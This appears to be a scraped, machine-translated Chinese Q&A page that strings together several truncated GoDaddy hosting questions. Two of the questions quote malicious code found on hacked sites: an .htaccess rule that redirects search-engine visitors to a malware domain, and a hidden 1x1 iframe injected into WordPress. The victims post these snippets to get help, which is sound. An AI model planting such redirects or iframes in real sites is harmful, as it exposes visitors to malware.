我的网站被黑了,此时,我知道一些细节,但我不知道它究竟是如何发生的,也不知道如何在未来防止它发生。我需要你的帮助来剖析这次攻击,以便我可以防止它再次发生。这有点长,但我想确保我提供了足够的信息来帮助解决问题。
这就是发生的事情。
几周前,我收到了来自托管公司 GoDaddy 的电子邮件,说我的网站使用了太多资源,他们预计 MySQL 查询是罪魁祸首。有问题的查询是一个搜索查询,其中包含 5-6 个术语。根据我的设置方式,您搜索的术语越多,查询就越复杂。没问题。我修复了它,但与此同时,GoDaddy 也暂时关闭了我的帐户,大约 3 天后一切才恢复正常。
在那次事件之后,我的搜索引擎流量急剧下降,大约 90%。它很糟糕,因为我什么都没想到,将其写入查询失败并认为它会在 Google 重新抓取该网站时及时返回。它没有。
几天前,我收到一封来自用户的电子邮件,说我的网站托管了恶意软件。我直接在浏览器中加载了该站点,但没有看到任何注入到页面中的内容。然后我检查了我的 .htaccess 文件,发现以下内容:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>
Run Code Online (Sandbox Code Playgroud)
可爱的。而且有点狡猾。从地址栏或书签直接导航到站点,我通常会像往常一样加载站点。我很少通过搜索引擎的链接访问我的网站,所以这就是为什么只要有黑客攻击就没有被发现的原因。该恶意软件也没有直接托管在我的网站上。
快速搜索显示其他人也遇到了同样的问题,但我怀疑还有很多人还没有发现它。大多数建议是升级到最新版本的软件、更改密码等。
由于我使用的是我自己的自定义内容管理系统而不是无处不在的 Wordpress,因此我进行了更深入的挖掘。我扫描了所有文件以查找 PHP 漏洞利用中使用的常用函数:base64_decode、exec、shell 等……没有发现任何可疑的东西,也没有额外的文件。
我接下来检查了 GoDaddy 的文件管理器历史记录,发现 .htaccess 文件在我的搜索查询被指控使用过多服务器资源的同一日期更改。这可能是一个不幸的巧合,但我并不完全确定。.htaccess 文件中的重定向似乎不是资源密集型的,而且查询足够复杂,可能是资源密集型的。
我想确定我的代码不是问题,所以我在修改 …
我不知道我还可以尝试什么来使用 Starfield 通配符 SSL 证书调试这个问题。
问题在于,在某些浏览器(例如,Safari 或您可以为 OS X 10.5.8 获得的最新版本的 chrome)中,证书显示为不受信任,即使在根域中也是如此。
我的服务器设置/背景信息:
ssl.conf 行基本如下:
SSLCertificateFile /path/to/cert/mysite.com.cert
SSLCertificateKeyFile /path/to/cert/mysite.key
SSLCertificateChainFile /path/to/cert/sf_bundle.crt
一切似乎都运行良好,直到有一天晚上我注意到 OS X 中的问题时,我认为它与浏览器版本相关,但只能在该特定机器上复制它。
我尝试过的:
接下来我可以尝试什么来解决不受信任的证书问题?
让我知道是否需要任何其他信息来帮助调试此问题。提前致谢!
解决方案:
My problem ended up being that …
让我们开始。
我们坐得舒服吗?
曾几何时,A 公司在 GoDaddy.com 上注册了他们的域名,并与另一家当地“网页设计公司”签约来处理他们的网络和电子邮件需求。
“网页设计公司”,在这种情况下,结果是使用 Photoshop 的只是一些人,嗯——他们几个月前就被隔离了。
该域在 A 公司注册为注册人,网页设计师将自己列为管理联系人。该域名已于上周到期。
(在此插入惊恐的喘息声,因为四面楚歌的小企业主惊慌失措,并打电话给他的朋友,他恰好是我的老板,他为我的问题找到了解决这种情况的方法。)
GoDaddy 对我们需要如何进行以更改联系信息的询问不合作,以便我们可以续订域,并使世界一切正常。
(即使指出在线记录表明我们不是唯一在寻找 Web Guy 的人,并且两个警长的部门希望与他交谈也无济于事。)
任何有关如何进行的建议都将受到欢迎。提前致谢。
编辑:
尽管多次尝试遵循 GoDaddy 的规定程序,该域名最终还是被拍卖了。企业主告诉我的老板“获取域,句号”。一场拍卖后,它又回到了主人的手中。失去联系/等的原始网页设计师显然因各种非相关犯罪而被当局拘留。感谢阅读/回答/等。
最终更新:
过去几周事情一直很平静,让我学到了更多关于网站安全和风险的知识。这是我的故事版本 -
我使用的是旧版本的 wordpress,可能是这个人从 google 上发现了我。我认为这是脚本攻击。很难说安全实际上是如何以及何时受到损害的,我在 2009 年 11 月 5 日注意到了这一点。虽然我当时采取了一些安全措施(如下所述),但总是有可能我错过了重新更改 wordpress 密码的可能性。我格式化了我的工作电脑。
现在我已经从托管中删除了所有不需要的 php 脚本,使管理部分只能对我的 IP 访问,阻止了属于越南的特定 IP 范围。每日备份和其他东西。问题是涉及的变量太多,很难跟踪每个变量。主要课程是为此做好准备。:)
我正在使用 GoDaddy 的共享托管计划并运行 WordPress 网站。我的网站第一次被黑是在 2009 年 11 月 5 日,当时黑客用自己的广告替换了我的广告。我以为这是因为我对安全的懒惰,但我错了。
我格式化了我的电脑并重新设置了一切。将 ESET NOD32 替换为 Microsoft Security Essentials。升级到最新版本的 WordPress。更改了所有密码。设置一个新的数据库。以及我在这里和那里阅读的其他与安全相关的内容。事情运行良好,直到今天我的网站再次遭到黑客攻击。
上次,那家伙玩了很多文件,特意修改了footer.php和所有与广告相关的文件。但这一次他只是走对了地方,替换成了下面的代码——
<IFRAME height=1 src="http://blackberryrss.com/check.html" frameBorder=0 width=1></IFRAME>
<form action="http://www.google.com/cse" id="cse-search-box">
<div>
<input type="hidden" name="cx" value="partner-pub-2815780429722377:hhm6d0-6wfw" />
<input type="hidden" name="ie" value="ISO-8859-1" />
<input type="text" name="q" size="31" />
<input type="submit" name="sa" value="Search" />
</div>
</form>
<script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&lang=en"></script> …Run Code Online (Sandbox Code Playgroud) 有人可以帮助我了解如何验证我的 SSL 证书是否已正确安装(或解决未正确安装的问题)?
我在我的 Apache 服务器上安装了 GoDaddy SSL 证书。一些用户还在报告问题(某些版本的 IE 说“无法显示此页面”,没有进一步解释),openssl 说链中存在“自签名”证书。请注意,这不是自签名证书。它由 GoDaddy 签名。这篇文章有一个不起作用的相关答案:https : //stackoverflow.com/a/4106224/1723405
以下是我采取的步骤:
第一步:生成私钥
openssl req -out CSR.csr -new -newkey rsa:2048 -nodes -keyout privateKey.key
Run Code Online (Sandbox Code Playgroud)
第 2 步:转到 GoDaddy 并通过粘贴CSR.csr.
第三步:在Apache中安装crt和bundle文件并重启。
// In <VirtualHost>
SSLEngine on
SSLProtocol -ALL +SSLv3 +TLSv1
SSLCipherSuite ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM:-LOW:-SSLv2:-EXP
SSLVerifyClient none
SSLCertificateFile /path/to/allthingsinsurance.net.crt
SSLCertificateKeyFile /path/to/privateKey.key
SSLCertificateChainFile /path/to/gd_bundle-g2.cr
% apachectl restart
Run Code Online (Sandbox Code Playgroud)
步骤4:去几台机器中的任何一台,使用openssl验证失败。
% openssl s_client -connect allthingsinsurance.net:443 -showcerts -CApath /etc/ssl/certs
...lots of output, shows certs I installed...
Verify return code: …Run Code Online (Sandbox Code Playgroud) 我正在按照以下说明在 Apache Tomcat 中安装 GoDaddy 证书:
但是,在步骤中引用了根证书、中间证书和证书。我怎么知道哪个文件是哪个?
这些是我在下载中收到的三个文件的名称。我也尝试通过简单地双击在 Windows 中打开每一个,但我看不到它们的类型。
gd_bundle-g2-g1.crt
gdig2.crt
2b9918dccf2f1d.crt
与此问题类似,我想配置由 GoDaddy 托管的 DNS,以便在与根站点不同的 IP 上拥有一个子域。我遇到的问题是 GoDaddy 使用 GUI 并且不授予对绑定的直接访问权限(我可以看到)。
当我输入 A 记录的名称(即 Server2)时,ui 允许它。但是当我尝试将子域的 CNAME 记录指向 Server2 时,它告诉我它的主机名无效。
我在这里缺少什么?
我在使用 GoDaddy DNS 时遇到了一些问题,我想我可能会在转移到其他提供商之前与大家分享这些问题。
我有一个为用户使用子域并托管在 Heroku.com 上的应用程序。我希望通过 https 访问整个站点,但 Heroku 这样做的方式很棘手。通常 Heroku 为您提供 3 个 IP 地址,您可以为通配符子域创建 * 记录。这与 Godaddy 配合得很好。
我的问题是,Heroku 执行 SSL 的方式是,它们不是 IP 地址,而是为您提供 AmazonAws url。因此,对于“foo”的示例子域,您可以创建一个主机名为 foo 的 cname,用于查看您的 amazonaws.com 地址。我网站上的用户经常创建子域,所以我想使用通配符 CNAME。我在这里读到这是一种合法的做法(虽然不推荐)但不幸的是,如果我想要我想要的安全性,我相信我必须这样做。
有没有人能够在 GoDaddy 上创建通配符 cname?Heroku 上的其他人是否与我处于相同的情况并找到了一个很好的解决方法,可能是 Zerigo DNS 附加组件?
谢谢
我想添加一个规则,以便所有子域都被重定向到一个子文件夹。例如:
app1.example.com -> example.com/app1
app2.example.com -> example.com/app2
something.example.com -> example.com/something
Run Code Online (Sandbox Code Playgroud)
所有子域都只有一层深。
问题
我的一个特定客户端出现问题,该客户端访问了我的 haproxy 负载均衡器。haproxy 日志中的错误消息:]
incoming_ssl/1: SSL handshake failure
Run Code Online (Sandbox Code Playgroud)
有问题的客户端似乎是一些 Apache Java 客户端或 ActiveMq 服务器 - 无论哪种方式,它都是我们对其进行零控制的远程服务器。
使用 ssldump,我看到这些行:
11 5 0.4152 (0.1649) C>S Alert
level fatal
value certificate_unknown
11 0.4152 (0.0000) C>S TCP FIN
Run Code Online (Sandbox Code Playgroud)
使用curl /浏览器一切看起来都很好,我已经做了一些ssl检查,没有报告此类问题。
我已经从我的 haproxy 配置文件中删除了尽可能多的内容来诊断问题。我什至测试过直接访问后端(NodeJS)服务器,效果很好 - 客户端可以连接。这确实是 haproxy,我只是不知道如何修复它。
我的基本 haproxy conf 文件如下所示:
frontend incoming_ssl
bind *:443 ssl crt /etc/haproxy/cert.key ca-file /etc/haproxy/cert.pem ciphers ECDHE-RSA-AES256-SHA:RC4-SHA:RC4:HIGH:!MD5:!aNULL:!EDH:!AESGCM
acl flume hdr_dom(host) -i dom.ain.com
use_backend flume if flume
backend flume :80
server flume 10.40.14.1:8000 weight 1 maxconn 1000 check inter 2000
Run Code Online (Sandbox Code Playgroud)
也尝试过使用 …